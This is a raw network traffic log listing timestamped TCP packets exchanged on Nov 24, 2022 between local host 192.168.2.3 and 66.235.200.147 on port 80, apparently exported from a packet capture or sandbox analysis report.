Nov 24, 2022 16:57:36.802752972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802759886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802773952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802779913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802787066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802798986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802810907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802819014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802825928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802839041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802839041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802859068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802869081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802894115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802896976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802913904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802920103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802933931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802951097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802958965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.802964926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.802988052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803005934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803023100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803035975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803054094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803060055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803061008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803061008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803061008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803071976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803092957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803112984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803129911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803131104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803129911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803129911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803153038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803158998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803158998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803172112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803181887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803190947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803205013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803205967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803211927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803227901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803231001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803246975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803251028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803268909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803270102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803287029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803296089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803304911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803314924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803325891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803333998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803345919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803350925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803364992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803369045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803384066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803385019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803402901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803410053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803421974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803440094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803441048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803441048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803459883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803472042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803479910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803498983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803500891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803502083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803519011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803529024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803539991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803553104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803553104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803560019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803575039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803580046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803599119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803599119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803616047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803617954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803637028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803649902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803654909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803672075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803672075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803673983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803692102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803694963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803711891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803714991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803730965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803738117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803749084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803755999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803769112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803774118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803788900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803788900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803809881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803812981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803828001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803833008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803847075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803859949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803859949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803868055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803885937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803904057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803914070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803922892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803932905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803944111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803962946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803972960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803972960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803982973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.803993940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.803999901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804012060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804018974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804034948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804034948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804038048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804056883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804075003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804092884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804095030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804112911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804114103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804130077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804136038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804147005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804156065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804173946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804173946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804178953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804198980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804198027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804218054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804224968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804235935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804254055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804270983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804272890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804289103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804294109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804313898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804333925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804336071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804336071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804347992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804358959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804368019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804387093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804404020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804403067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804421902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804424047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804440975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804442883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804461002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804471016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804480076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804491043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804498911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804517984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804522038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804538012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804539919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804557085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804569006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804577112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804593086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804593086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804595947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804613113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804615021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804632902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804636955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804656029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804666996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804675102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804687977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804696083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804702044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804716110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804722071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804735899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804738998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804754972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804774046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804778099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804792881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804811001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804817915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804817915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804830074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804843903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804843903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804850101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804869890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804888964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804892063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804892063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804892063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804907084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804925919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804925919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804925919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804943085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804946899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804961920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804976940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804992914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.804994106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.804992914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805013895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805013895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805031061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805047035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805047989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805064917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805068016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805088043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805104971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805118084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805124044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805135965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805143118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805161953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805162907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805180073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805187941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805197954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805212021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805217981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805238008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805238008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805238008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805257082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805258036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805277109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805284977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805294991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805304050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805315971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805320978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805335045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805339098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805354118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805360079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805372953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805377007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805392981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805394888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805412054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805418968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805430889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805437088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805450916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805454016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805469990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805471897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805489063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805489063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805509090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805512905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805526972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805529118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805546045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805546999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805566072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805566072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805582047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805588007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805607080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805624962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805634022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805643082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805654049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805675030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805679083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805692911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805696011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805711985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805726051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805732012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805742979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805751085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805757999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805771112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805775881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805788994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805793047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805805922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805816889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805825949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805835009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805844069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805861950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805864096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805864096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805881023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805883884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805898905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805901051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805917025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805926085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805934906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805952072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805965900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805965900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805968046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805986881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.805994987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.805994987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806005001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806018114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806026936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806036949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806045055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806062937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806065083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806082964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806082964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806098938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806102037 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806143999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806149006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806149006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.806164980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.806174994 CET	49713	80	192.168.2.3	66.235.200.147
